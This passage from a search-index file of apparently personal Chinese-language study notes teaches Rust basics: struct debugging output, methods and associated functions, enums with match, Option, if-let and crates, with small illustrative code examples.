<p>11\u884c\u5e94\u8be5\u6539\u4e3a:</p> <p><code>let str = mydog.name.clone();</code> <code>clone()</code>\u4f1a\u521b\u5efa<code>mydog.name</code>\u7684\u4e00\u4e2a\u526f\u672c\u3002</p> <p>\u8f93\u51fa\u7ed3\u6784\u4f53</p> <p>\u8c03\u8bd5\u4e2d\uff0c\u5b8c\u6574\u5730\u663e\u793a\u51fa\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b9e\u4f8b\u662f\u975e\u5e38\u6709\u7528\u7684\u3002\u4f46\u5982\u679c\u6211\u4eec\u624b\u52a8\u7684\u4e66\u5199\u4e00\u4e2a\u683c\u5f0f\u4f1a\u975e\u5e38\u7684\u4e0d\u65b9\u4fbf\u3002\u6240\u4ee5 Rust \u63d0\u4f9b\u4e86\u4e00\u4e2a\u65b9\u4fbf\u5730\u8f93\u51fa\u4e00\u6574\u4e2a\u7ed3\u6784\u4f53\u7684\u65b9\u6cd5\uff1a</p> <p>Example</p> <p><pre><code>#[derive(Debug)]\n\nstruct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nfn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n\n    println!(\"rect1 is {:?}\", rect1);\n}\n</code></pre> \u5982\u7b2c\u4e00\u884c\u6240\u793a\uff1a\u4e00\u5b9a\u8981\u5bfc\u5165\u8c03\u8bd5\u5e93 <code>#[derive(Debug)]</code> \uff0c\u4e4b\u540e\u5728 <code>println</code> \u548c <code>print</code> \u5b8f\u4e2d\u5c31\u53ef\u4ee5\u7528 <code>{:?}</code> \u5360\u4f4d\u7b26\u8f93\u51fa\u4e00\u6574\u4e2a\u7ed3\u6784\u4f53\uff1a <pre><code>rect1 is Rectangle { width: 30, height: 50 }\n</code></pre> \u5982\u679c\u5c5e\u6027\u8f83\u591a\u7684\u8bdd\u53ef\u4ee5\u4f7f\u7528\u53e6\u4e00\u4e2a\u5360\u4f4d\u7b26 <code>{:#?}</code> \u3002 <pre><code>rect1 is Rectangle {\nwidth: 30,\nheight: 50\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_33","title":"\u7ed3\u6784\u4f53\u65b9\u6cd5","text":"<p>\u65b9\u6cd5\uff08Method\uff09\u548c\u51fd\u6570\uff08Function\uff09\u7c7b\u4f3c\uff0c\u53ea\u4e0d\u8fc7\u5b83\u662f\u7528\u6765\u64cd\u4f5c\u7ed3\u6784\u4f53\u5b9e\u4f8b\u7684\u3002</p> <p>\u5982\u679c\u4f60\u5b66\u4e60\u8fc7\u4e00\u4e9b\u9762\u5411\u5bf9\u8c61\u7684\u8bed\u8a00\uff0c\u90a3\u4f60\u4e00\u5b9a\u5f88\u6e05\u695a\u51fd\u6570\u4e00\u822c\u653e\u5728\u7c7b\u5b9a\u4e49\u91cc\u5e76\u5728\u51fd\u6570\u4e2d\u7528 this \u8868\u793a\u6240\u64cd\u4f5c\u7684\u5b9e\u4f8b\u3002</p> <p>Rust \u8bed\u8a00\u4e0d\u662f\u9762\u5411\u5bf9\u8c61\u7684\uff0c\u4ece\u5b83\u6240\u6709\u6743\u673a\u5236\u7684\u521b\u65b0\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e00\u70b9\u3002\u4f46\u662f\u9762\u5411\u5bf9\u8c61\u7684\u73cd\u8d35\u601d\u60f3\u53ef\u4ee5\u5728 Rust \u5b9e\u73b0\u3002</p> <p>\u7ed3\u6784\u4f53\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u5fc5\u987b\u662f &amp;self\uff0c\u4e0d\u9700\u58f0\u660e\u7c7b\u578b\uff0c\u56e0\u4e3a self \u4e0d\u662f\u4e00\u79cd\u98ce\u683c\u800c\u662f\u5173\u952e\u5b57\u3002</p> <pre><code>struct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nimpl Rectangle {\n    fn area(&amp;self) -&gt; u32 {\n        self.width * self.height\n    }\n\n    fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool {\n        self.width &gt; rect.width\n    }\n}\n\nfn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n    let rect2 = Rectangle { width: 40, height: 20 };\n\n    println!(\"{}\", rect1.wider(&amp;rect2));\n}\n</code></pre> Info <p>\u5b9a\u4e49\u4e86\u4e00\u4e2a\u8868\u793a\u77e9\u5f62\u7684<code>Rectangle</code>\u7ed3\u6784\u4f53\uff0c\u5e76\u5b9e\u73b0\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff1a<code>area</code>\u548c<code>wider</code>\u3002\u63a5\u7740\u5728<code>main</code>\u51fd\u6570\u4e2d\u521b\u5efa\u4e24\u4e2a\u77e9\u5f62\u5b9e\u4f8b\uff0c\u5e76\u8c03\u7528<code>wider</code>\u65b9\u6cd5\u6765\u6bd4\u8f83\u5b83\u4eec\u7684\u5bbd\u5ea6\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u89e3\u91ca\uff1a</p> <ol> <li><code>Rectangle</code> \u7ed3\u6784\u4f53 <pre><code>struct Rectangle {\n    width: u32,\n    height: u32,\n}\n</code></pre></li> <li> <p>\u8fd9\u6bb5\u4ee3\u7801\u5b9a\u4e49\u4e86\u4e00\u4e2a\u7ed3\u6784\u4f53<code>Rectangle</code>\uff0c\u5b83\u6709\u4e24\u4e2a\u5b57\u6bb5\uff1a<code>width</code>\uff08\u5bbd\u5ea6\uff09\u548c<code>height</code>\uff08\u9ad8\u5ea6\uff09\uff0c\u90fd\u662f<code>u32</code>\u7c7b\u578b\u7684\u65e0\u7b26\u53f732\u4f4d\u6574\u6570\u3002</p> </li> <li> <p><code>impl Rectangle</code>\u5757 <pre><code>impl Rectangle {\n    fn area(&amp;self) -&gt; u32 {\n        self.width * self.height\n    }\n\n    fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool {\n        self.width &gt; rect.width\n    }\n}\n</code></pre></p> </li> <li> <p><code>impl Rectangle</code>\u5757\u5b9a\u4e49\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff0c<code>area</code>\u548c<code>wider</code>\uff0c\u5b83\u4eec\u90fd\u5c5e\u4e8e<code>Rectangle</code>\u7ed3\u6784\u4f53\u3002</p> </li> <li> <p><code>area</code>\u65b9\u6cd5\uff1a</p> <ul> <li><code>fn area(&amp;self) -&gt; u32</code> \u5b9a\u4e49\u4e86\u4e00\u4e2a\u8ba1\u7b97\u77e9\u5f62\u9762\u79ef\u7684\u65b9\u6cd5\u3002</li> <li><code>self</code>\u662f\u4e00\u4e2a\u6307\u5411\u8c03\u7528\u8be5\u65b9\u6cd5\u7684\u77e9\u5f62\u5b9e\u4f8b\u7684\u5f15\u7528\u3002</li> <li><code>self.width * self.height</code>\u8ba1\u7b97\u5e76\u8fd4\u56de\u77e9\u5f62\u7684\u9762\u79ef\u3002</li> </ul> </li> <li> <p><code>wider</code>\u65b9\u6cd5\uff1a</p> <ul> <li><code>fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool</code>\u5b9a\u4e49\u4e86\u4e00\u4e2a\u6bd4\u8f83\u77e9\u5f62\u5bbd\u5ea6\u7684\u65b9\u6cd5\u3002</li> <li>\u8fd9\u4e2a\u65b9\u6cd5\u63a5\u6536\u4e24\u4e2a\u53c2\u6570\uff1a<code>self</code>\u8868\u793a\u8c03\u7528\u8be5\u65b9\u6cd5\u7684\u77e9\u5f62\uff0c<code>rect</code>\u662f\u53e6\u4e00\u4e2a\u7528\u4e8e\u6bd4\u8f83\u7684\u77e9\u5f62\u3002</li> <li><code>self.width &gt; rect.width</code> \u5224\u65ad\u8c03\u7528<code>wider</code>\u65b9\u6cd5\u7684\u77e9\u5f62\u662f\u5426\u6bd4\u4f20\u5165\u7684\u77e9\u5f62\u66f4\u5bbd\uff0c\u8fd4\u56de\u4e00\u4e2a\u5e03\u5c14\u503c\u3002</li> </ul> </li> <li> <p><code>main</code>\u51fd\u6570 <pre><code>fn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n    let rect2 = Rectangle { width: 40, height: 20 };\n\n    println!(\"{}\", rect1.wider(&amp;rect2));\n}\n</code></pre></p> </li> <li> <p><code>main</code>\u51fd\u6570\u662f\u7a0b\u5e8f\u7684\u5165\u53e3\u70b9\u3002</p> </li> <li> <p><code>let rect1 = Rectangle { width: 30, height: 50 };</code> \u521b\u5efa\u4e00\u4e2a\u5bbd\u5ea6\u4e3a30\u3001\u9ad8\u5ea6\u4e3a50\u7684\u77e9\u5f62\u5b9e\u4f8b<code>rect1</code>\u3002</p> </li> <li> <p><code>let rect2 = Rectangle { width: 40, height: 20 };</code> \u521b\u5efa\u53e6\u4e00\u4e2a\u5bbd\u5ea6\u4e3a40\u3001\u9ad8\u5ea6\u4e3a20\u7684\u77e9\u5f62\u5b9e\u4f8b<code>rect2</code>\u3002</p> </li> <li> <p><code>println!(\"{}\", rect1.wider(&amp;rect2));</code> \u8c03\u7528<code>rect1</code>\u7684<code>wider</code>\u65b9\u6cd5\uff0c\u6bd4\u8f83\u5b83\u548c<code>rect2</code>\u7684\u5bbd\u5ea6\uff0c\u7136\u540e\u5c06\u7ed3\u679c\u6253\u5370\u51fa\u6765\u3002</p> </li> </ol> <p>\u8fd0\u884c\u7ed3\u679c</p> <ul> <li><code>rect1.wider(&amp;rect2)</code>\u4f1a\u8fd4\u56de<code>false</code>\uff0c\u56e0\u4e3a<code>rect1</code>\u7684\u5bbd\u5ea6\uff0830\uff09\u5c0f\u4e8e<code>rect2</code>\u7684\u5bbd\u5ea6\uff0840\uff09\u3002</li> <li>\u7a0b\u5e8f\u5c06\u6253\u5370\u51fa<code>false</code>\u3002</li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_34","title":"\u7ed3\u6784\u4f53\u5173\u8054\u51fd\u6570","text":"<p>\u4e4b\u6240\u4ee5\"\u7ed3\u6784\u4f53\u65b9\u6cd5\"\u4e0d\u53eb\"\u7ed3\u6784\u4f53\u51fd\u6570\"\u662f\u56e0\u4e3a\"\u51fd\u6570\"\u8fd9\u4e2a\u540d\u5b57\u7559\u7ed9\u4e86\u8fd9\u79cd\u51fd\u6570\uff1a\u5b83\u5728 impl \u5757\u4e2d\u5374\u6ca1\u6709 &amp;self \u53c2\u6570\u3002</p> <p>\u8fd9\u79cd\u51fd\u6570\u4e0d\u4f9d\u8d56\u5b9e\u4f8b\uff0c\u4f46\u662f\u4f7f\u7528\u5b83\u9700\u8981\u58f0\u660e\u662f\u5728\u54ea\u4e2a impl \u5757\u4e2d\u7684\u3002</p> <p>\u4e00\u76f4\u4f7f\u7528\u7684 String::from \u51fd\u6570\u5c31\u662f\u4e00\u4e2a\"\u5173\u8054\u51fd\u6570\"\u3002</p> <pre><code>#[derive(Debug)]\nstruct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nimpl Rectangle {\n    fn create(width: u32, height: u32) -&gt; Rectangle {\n        Rectangle { width, height }\n    }\n}\n\nfn main() {\n    let rect = Rectangle::create(30, 50);\n    println!(\"{:?}\", rect);\n}\n</code></pre> <p>Note</p> <p>\u7ed3\u6784\u4f53 impl \u5757\u53ef\u4ee5\u5199\u51e0\u6b21\uff0c\u6548\u679c\u76f8\u5f53\u4e8e\u5b83\u4eec\u5185\u5bb9\u7684\u62fc\u63a5\uff01</p> <p>\u7ed3\u6784\u4f53\u53ef\u4ee5\u53ea\u4f5c\u4e3a\u4e00\u79cd\u8c61\u5f81\u800c\u65e0\u9700\u4efb\u4f55\u6210\u5458\uff1a <pre><code>struct UnitStruct;\n</code></pre></p> <p>\u6211\u4eec\u79f0\u8fd9\u79cd\u6ca1\u6709\u8eab\u4f53\u7684\u7ed3\u6784\u4f53\u4e3a\u5355\u5143\u7ed3\u6784\u4f53\uff08Unit Struct\uff09\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_35","title":"\u679a\u4e3e\u7c7b","text":"<p>RUST\u4e2d\u7684\u679a\u4e3e\u7c7b\u53ef\u4ee5\u6bd4\u8f83\u7b80\u5355\u5730\u4f7f\u7528 \u683c\u5f0f\u4e3a <pre><code>enum \u679a\u4e3e\u7c7b\u540d\u79f0\n{\n   \u6210\u54581,\n   \u6210\u54582,\n   ...\n   \u6700\u540e\u4e00\u4e2a\u6210\u5458\n}\n</code></pre> \u4f8b\u5982 <pre><code>#[derive(Debug)]\n\nenum Book {\n    Papery, Electronic\n}\n\nfn main() {\n    let book = Book::Papery;\n    println!(\"{:?}\", book);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4f1a\u8f93\u51faPapery</p> <p>\u5982\u679c\u4f60\u6b63\u5728\u5f00\u53d1\u4e00\u4e2a\u56fe\u4e66\u7ba1\u7406\u7cfb\u7edf\uff0c\u4f60\u9700\u8981\u63cf\u8ff0\u4e66\u7684\u4e24\u79cd\u4e0d\u540c\u7684\u5c5e\u6027(\u7eb8\u8d28\u4e66\u6709\u7d22\u5f15\u53f7\uff0c\u7535\u5b50\u4e66\u6709URL)\uff0c\u90a3\u4e48\u53ef\u4ee5\u4e3a\u679a\u4e3e\u7c7b\u7684\u6210\u5458\u6dfb\u52a0\u5143\u7ec4\u5c5e\u6027\u63cf\u8ff0,\u5982\u679c\u8981\u4e3a\u5c5e\u6027\u547d\u540d,\u53ef\u4ee5\u7528\u7ed3\u6784\u4f53\u7684\u8bed\u6cd5</p> <p><pre><code>enum Book {\n    Papery { index: u32 },\n    Electronic { url: String },\n}\nlet book = Book::Papery{index: 1001};\n</code></pre> \u867d\u7136\u53ef\u4ee5\u5982\u6b64\u547d\u540d\uff0c\u4f46\u8bf7\u6ce8\u610f\uff0c\u5e76\u4e0d\u80fd\u50cf\u8bbf\u95ee\u7ed3\u6784\u4f53\u5b57\u6bb5\u4e00\u6837\u8bbf\u95ee\u679a\u4e3e\u7c7b\u7ed1\u5b9a\u7684\u5c5e\u6027\u3002\u8bbf\u95ee\u7684\u65b9\u6cd5\u5728 match \u8bed\u6cd5\u4e2d\u3002</p> <p>Match\u8bed\u6cd5</p> <p>\u679a\u4e3e\u7684\u76ee\u7684\u662f\u5bf9\u67d0\u4e00\u7c7b\u4e8b\u7269\u7684\u5206\u7c7b\uff0c\u5206\u7c7b\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u5bf9\u4e0d\u540c\u7684\u60c5\u51b5\u8fdb\u884c\u63cf\u8ff0\u3002\u57fa\u4e8e\u8fd9\u4e2a\u539f\u7406\uff0c\u5f80\u5f80\u679a\u4e3e\u7c7b\u6700\u7ec8\u90fd\u4f1a\u88ab\u5206\u652f\u7ed3\u6784\u5904\u7406\uff08\u8bb8\u591a\u8bed\u8a00\u4e2d\u7684 switch \uff09\u3002 switch \u8bed\u6cd5\u5f88\u7ecf\u5178\uff0c\u4f46\u5728 Rust \u4e2d\u5e76\u4e0d\u652f\u6301\uff0c\u5f88\u591a\u8bed\u8a00\u6452\u5f03 switch \u7684\u539f\u56e0\u90fd\u662f\u56e0\u4e3a switch \u5bb9\u6613\u5b58\u5728\u56e0\u5fd8\u8bb0\u6dfb\u52a0 break \u800c\u4ea7\u751f\u7684\u4e32\u63a5\u8fd0\u884c\u95ee\u9898\uff0cJava \u548c C# \u8fd9\u7c7b\u8bed\u8a00\u901a\u8fc7\u5b89\u5168\u68c0\u67e5\u675c\u7edd\u8fd9\u79cd\u60c5\u51b5\u51fa\u73b0\u3002</p> <p>Rust \u901a\u8fc7 match \u8bed\u53e5\u6765\u5b9e\u73b0\u5206\u652f\u7ed3\u6784\u3002 <pre><code>fn main() {\nenum Book {\n    Papery {index: u32},\n    Electronic {url: String},\n}\n\nlet book = Book::Papery{index: 1001};\nlet ebook = Book::Electronic{url: String::from(\"url...\")};\n\nmatch book {\n    Book::Papery { index } =&gt; {\n        println!(\"Papery book {}\", index);\n    },\n    Book::Electronic { url } =&gt; {\n        println!(\"E-book {}\", url);\n    }\n}\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\u4e3a Papery book 1001</p> <p>match \u5757\u4e5f\u53ef\u4ee5\u5f53\u4f5c\u51fd\u6570\u8868\u8fbe\u5f0f\u6765\u5bf9\u5f85\uff0c\u5b83\u4e5f\u662f\u53ef\u4ee5\u6709\u8fd4\u56de\u503c\u7684</p> <pre><code>match \u679a\u4e3e\u7c7b\u5b9e\u4f8b {\n\u5206\u7c7b1 =&gt; \u8fd4\u56de\u503c\u8868\u8fbe\u5f0f,\n\u5206\u7c7b2 =&gt; \u8fd4\u56de\u503c\u8868\u8fbe\u5f0f,\n...\n}\n</code></pre> <p>\u4f46\u662f\u6240\u6709\u8fd4\u56de\u503c\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u5fc5\u987b\u4e00\u6837\uff01</p> <p>\u5982\u679c\u628a\u679a\u4e3e\u7c7b\u9644\u52a0\u5c5e\u6027\u5b9a\u4e49\u6210\u5143\u7ec4\uff0c\u5728 match \u5757\u4e2d\u9700\u8981\u4e34\u65f6\u6307\u5b9a\u4e00\u4e2a\u540d\u5b57\uff1a</p> <p><pre><code>enum Book {\nPapery(u32),\nElectronic {url: String},\n}\nlet book = Book::Papery(1001);\n\nmatch book {\n    Book::Papery(i) =&gt; {\n        println!(\"{}\", i);\n    },\n    Book::Electronic { url } =&gt; {\n        println!(\"{}\", url);\n    }\n}\n</code></pre> match \u9664\u4e86\u80fd\u591f\u5bf9\u679a\u4e3e\u7c7b\u8fdb\u884c\u5206\u652f\u9009\u62e9\u4ee5\u5916\uff0c\u8fd8\u53ef\u4ee5\u5bf9\u6574\u6570\u3001\u6d6e\u70b9\u6570\u3001\u5b57\u7b26\u548c\u5b57\u7b26\u4e32\u5207\u7247\u5f15\u7528\uff08&amp;str\uff09\u7c7b\u578b\u7684\u6570\u636e\u8fdb\u884c\u5206\u652f\u9009\u62e9\u3002\u5176\u4e2d\uff0c\u6d6e\u70b9\u6570\u7c7b\u578b\u88ab\u5206\u652f\u9009\u62e9\u867d\u7136\u5408\u6cd5\uff0c\u4f46\u4e0d\u63a8\u8350\u8fd9\u6837\u4f7f\u7528\uff0c\u56e0\u4e3a\u7cbe\u5ea6\u95ee\u9898\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5206\u652f\u9519\u8bef\u3002</p> <p>\u5bf9\u975e\u679a\u4e3e\u7c7b\u8fdb\u884c\u5206\u652f\u9009\u62e9\u65f6\u5fc5\u987b\u6ce8\u610f\u5904\u7406\u4f8b\u5916\u60c5\u51b5\uff0c\u5373\u4f7f\u5728\u4f8b\u5916\u60c5\u51b5\u4e0b\u6ca1\u6709\u4efb\u4f55\u8981\u505a\u7684\u4e8b . \u4f8b\u5916\u60c5\u51b5\u7528\u4e0b\u5212\u7ebf _ \u8868\u793a\uff1a</p> <pre><code>fn main() {\nlet t = \"abc\";\nmatch t {\n    \"abc\" =&gt; println!(\"Yes\"),\n    _ =&gt; {},\n}\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#option","title":"Option \u679a\u4e3e\u7c7b","text":"<p>Option \u662f Rust \u6807\u51c6\u5e93\u4e2d\u7684\u679a\u4e3e\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u7528\u4e8e\u586b\u8865 Rust \u4e0d\u652f\u6301 null \u5f15\u7528\u7684\u7a7a\u767d\u3002</p> <p>\u8bb8\u591a\u8bed\u8a00\u652f\u6301 null \u7684\u5b58\u5728\uff08C/C++\u3001Java\uff09\uff0c\u8fd9\u6837\u5f88\u65b9\u4fbf\uff0c\u4f46\u4e5f\u5236\u9020\u4e86\u6781\u5927\u7684\u95ee\u9898\uff0cnull \u7684\u53d1\u660e\u8005\u4e5f\u627f\u8ba4\u8fd9\u4e00\u70b9\uff0c\"\u4e00\u4e2a\u65b9\u4fbf\u7684\u60f3\u6cd5\u9020\u6210\u7d2f\u8ba1 10 \u4ebf\u7f8e\u5143\u7684\u635f\u5931\"\u3002</p> <p>null \u7ecf\u5e38\u5728\u5f00\u53d1\u8005\u628a\u4e00\u5207\u90fd\u5f53\u4f5c\u4e0d\u662f null \u7684\u65f6\u5019\u7ed9\u4e88\u7a0b\u5e8f\u81f4\u547d\u4e00\u51fb\uff1a\u6bd5\u7adf\u53ea\u8981\u51fa\u73b0\u4e00\u4e2a\u8fd9\u6837\u7684\u9519\u8bef\uff0c\u7a0b\u5e8f\u7684\u8fd0\u884c\u5c31\u8981\u5f7b\u5e95\u7ec8\u6b62\u3002</p> <p>\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5f88\u591a\u8bed\u8a00\u9ed8\u8ba4\u4e0d\u5141\u8bb8 null\uff0c\u4f46\u5728\u8bed\u8a00\u5c42\u9762\u652f\u6301 null \u7684\u51fa\u73b0\uff08\u5e38\u5728\u7c7b\u578b\u524d\u9762\u7528 ? \u7b26\u53f7\u4fee\u9970\uff09\u3002</p> <p>Java \u9ed8\u8ba4\u652f\u6301 null\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7 @NotNull \u6ce8\u89e3\u9650\u5236\u51fa\u73b0 null\uff0c\u8fd9\u662f\u4e00\u79cd\u5e94\u4ed8\u7684\u529e\u6cd5\u3002</p> <p>Rust \u5728\u8bed\u8a00\u5c42\u9762\u5f7b\u5e95\u4e0d\u5141\u8bb8\u7a7a\u503c null \u7684\u5b58\u5728\uff0c\u4f46\u65e0\u5948null \u53ef\u4ee5\u9ad8\u6548\u5730\u89e3\u51b3\u5c11\u91cf\u7684\u95ee\u9898\uff0c\u6240\u4ee5 Rust \u5f15\u5165\u4e86 Option \u679a\u4e3e\u7c7b\uff1a</p> <pre><code>enum Option&lt;T&gt; {\n    Some(T),\n    None,\n}\n//\u8fd9\u63d0\u4f9b\u4e86\u4e00\u79cd\u5b9a\u4e49\u53ef\u4ee5\u4e3a\u7a7a\u503c\u7684\u7c7b\u7684\u65b9\u6cd5\n//let opt = Option::Some(\"Hello\");\n</code></pre> <p>\u5982\u679c\u4f60\u60f3\u9488\u5bf9 <code>opt</code> \u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\uff0c\u4f60\u5fc5\u987b\u5148\u5224\u65ad\u5b83\u662f\u5426\u662f <code>Option::None</code>\uff1a</p> <pre><code>fn main() {\n    let opt = Option::Some(\"Hello\");\n    match opt {\n        Option::Some(something) =&gt; {\n            println!(\"{}\", something);\n        },\n        Option::None =&gt; {\n            println!(\"opt is nothing\");\n        }\n    }\n}\n</code></pre> <p>\u5982\u679c\u4f60\u7684\u53d8\u91cf\u521a\u5f00\u59cb\u662f\u7a7a\u503c\uff0c\u4f60\u4f53\u8c05\u4e00\u4e0b\u7f16\u8bd1\u5668\uff0c\u5b83\u600e\u4e48\u77e5\u9053\u503c\u4e0d\u4e3a\u7a7a\u7684\u65f6\u5019\u53d8\u91cf\u662f\u4ec0\u4e48\u7c7b\u578b\u7684\u5462\uff1f</p> <p>\u6240\u4ee5\u521d\u59cb\u503c\u4e3a\u7a7a\u7684 Option \u5fc5\u987b\u660e\u786e\u7c7b\u578b\uff1a</p> <pre><code>fn main() {\n    let opt: Option&lt;&amp;str&gt; = Option::None;\n    match opt {\n        Option::Some(something) =&gt; {\n            println!(\"{}\", something);\n        },\n        Option::None =&gt; {\n            println!(\"opt is nothing\");\n        }\n    }\n}\n</code></pre> <p>Info</p> <p>\u8fd9\u79cd\u8bbe\u8ba1\u4f1a\u8ba9\u7a7a\u503c\u7f16\u7a0b\u53d8\u5f97\u4e0d\u5bb9\u6613\uff0c\u4f46\u8fd9\u6b63\u662f\u6784\u5efa\u4e00\u4e2a\u7a33\u5b9a\u9ad8\u6548\u7684\u7cfb\u7edf\u6240\u9700\u8981\u7684\u3002\u7531\u4e8e Option \u662f Rust \u7f16\u8bd1\u5668\u9ed8\u8ba4\u5f15\u5165\u7684\uff0c\u5728\u4f7f\u7528\u65f6\u53ef\u4ee5\u7701\u7565 Option:: \u76f4\u63a5\u5199 None \u6216\u8005 Some()\u3002</p> <p>Option \u662f\u4e00\u79cd\u7279\u6b8a\u7684\u679a\u4e3e\u7c7b\uff0c\u5b83\u53ef\u4ee5\u542b\u503c\u5206\u652f\u9009\u62e9\uff1a</p> <pre><code>fn main() {\n        let t = Some(64);\n        match t {\n                Some(64) =&gt; println!(\"Yes\"),\n                _ =&gt; println!(\"No\"),\n        }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#if-let","title":"if-let\u8bed\u6cd5","text":"<p>\u4e0b\u9762\u8fd9\u6bb5\u7a0b\u5e8f\u7528\u4e8e\u5224\u65ad\u4e00\u4e2a\u53d8\u91cf\u662f\u5426\u4e3a0</p> <p><pre><code>let i = 0;\nmatch i {\n    0 =&gt; println!(\"zero\"),\n    _ =&gt; {},\n}\n</code></pre> \u4f7f\u7528<code>if-let</code>\u8bed\u6cd5\u53ef\u4ee5\u5bf9\u5b83\u8fdb\u884c\u7f29\u77ed</p> <pre><code>let i = 0;\nif let 0 = i {\n    println!(\"zero\");\n}\n</code></pre> <p><code>if-let</code>\u8bed\u6cd5\u7684\u683c\u5f0f\u5982\u4e0b <pre><code>if let \u5339\u914d\u503c = \u6e90\u53d8\u91cf {\n    \u8bed\u53e5\u5757\n}\n</code></pre></p> Note <p>if let \u8bed\u6cd5\u53ef\u4ee5\u8ba4\u4e3a\u662f\u53ea\u533a\u5206\u4e24\u79cd\u60c5\u51b5\u7684 match \u8bed\u53e5\u7684\"\u8bed\u6cd5\u7cd6\"\uff08\u8bed\u6cd5\u7cd6\u6307\u7684\u662f\u67d0\u79cd\u8bed\u6cd5\u7684\u539f\u7406\u76f8\u540c\u7684\u4fbf\u6377\u66ff\u4ee3\u54c1\uff09\u3002</p> <p>\u53ef\u4ee5\u5728\u4e4b\u540e\u6dfb\u52a0\u4e00\u4e2a else \u5757\u6765\u5904\u7406\u4f8b\u5916\u60c5\u51b5\u3002 <pre><code>fn main() {\n    enum Book {\n        Papery(u32),\n        Electronic(String)\n    }\n    let book = Book::Electronic(String::from(\"url\"));\n    if let Book::Papery(index) = book {\n        println!(\"Papery {}\", index);\n    } else {\n        println!(\"Not papery book\");\n    }\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_36","title":"\u7ec4\u7ec7\u7ba1\u7406","text":"<p>\u6211\u6ca1\u592a\u61c2\u8fd9\u4e2a\u662f\u8981\u5e72\u561b\uff0c\u76f4\u63a5\u6284\u7684\u83dc\u9e1f\u6559\u7a0b</p> <p>\u4efb\u4f55\u4e00\u95e8\u7f16\u7a0b\u8bed\u8a00\u5982\u679c\u4e0d\u80fd\u7ec4\u7ec7\u4ee3\u7801\u90fd\u662f\u96be\u4ee5\u6df1\u5165\u7684\uff0c\u51e0\u4e4e\u6ca1\u6709\u4e00\u4e2a\u8f6f\u4ef6\u4ea7\u54c1\u662f\u7531\u4e00\u4e2a\u6e90\u6587\u4ef6\u7f16\u8bd1\u800c\u6210\u7684\u3002</p> <p>\u5230\u76ee\u524d\u4e3a\u6b62\u6240\u6709\u7684\u7a0b\u5e8f\u90fd\u662f\u5728\u4e00\u4e2a\u6587\u4ef6\u4e2d\u7f16\u5199\u7684\uff0c\u4e3b\u8981\u662f\u4e3a\u4e86\u65b9\u4fbf\u5b66\u4e60 Rust \u8bed\u8a00\u7684\u8bed\u6cd5\u548c\u6982\u5ff5\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u5de5\u7a0b\u6765\u8bb2\uff0c\u7ec4\u7ec7\u4ee3\u7801\u662f\u5341\u5206\u91cd\u8981\u7684\u3002</p> <p>Rust \u4e2d\u6709\u4e09\u4e2a\u91cd\u8981\u7684\u7ec4\u7ec7\u6982\u5ff5\uff1a\u7bb1\u3001\u5305\u3001\u6a21\u5757\u3002</p> <p>\u7bb1(Crate)</p> <p>\"\u7bb1\"\u662f\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u6587\u4ef6\u6216\u8005\u5e93\u6587\u4ef6\uff0c\u5b58\u5728\u4e8e\"\u5305\"\u4e2d\u3002</p> <p>\"\u7bb1\"\u662f\u6811\u72b6\u7ed3\u6784\u7684\uff0c\u5b83\u7684\u6811\u6839\u662f\u7f16\u8bd1\u5668\u5f00\u59cb\u8fd0\u884c\u65f6\u7f16\u8bd1\u7684\u6e90\u6587\u4ef6\u6240\u7f16\u8bd1\u7684\u7a0b\u5e8f\u3002</p> <p>Note</p> <p>\u6ce8\u610f\uff1a\"\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u6587\u4ef6\"\u4e0d\u4e00\u5b9a\u662f\"\u4e8c\u8fdb\u5236\u53ef\u6267\u884c\u6587\u4ef6\"\uff0c\u53ea\u80fd\u786e\u5b9a\u662f\u662f\u5305\u542b\u76ee\u6807\u673a\u5668\u8bed\u8a00\u7684\u6587\u4ef6\uff0c\u6587\u4ef6\u683c\u5f0f\u968f\u7f16\u8bd1\u73af\u5883\u7684\u4e0d\u540c\u800c\u4e0d\u540c.</p> <p>\u5305(Package)</p> <p>\u5f53\u6211\u4eec\u4f7f\u7528 Cargo \u6267\u884c new \u547d\u4ee4\u521b\u5efa Rust \u5de5\u7a0b\u65f6\uff0c\u5de5\u7a0b\u76ee\u5f55\u4e0b\u4f1a\u5efa\u7acb\u4e00\u4e2a Cargo.toml \u6587\u4ef6\u3002\u5de5\u7a0b\u7684\u5b9e\u8d28\u5c31\u662f\u4e00\u4e2a\u5305\uff0c\u5305\u5fc5\u987b\u7531\u4e00\u4e2a Cargo.toml \u6587\u4ef6\u6765\u7ba1\u7406\uff0c\u8be5\u6587\u4ef6\u63cf\u8ff0\u4e86\u5305\u7684\u57fa\u672c\u4fe1\u606f\u4ee5\u53ca\u4f9d\u8d56\u9879\u3002</p> 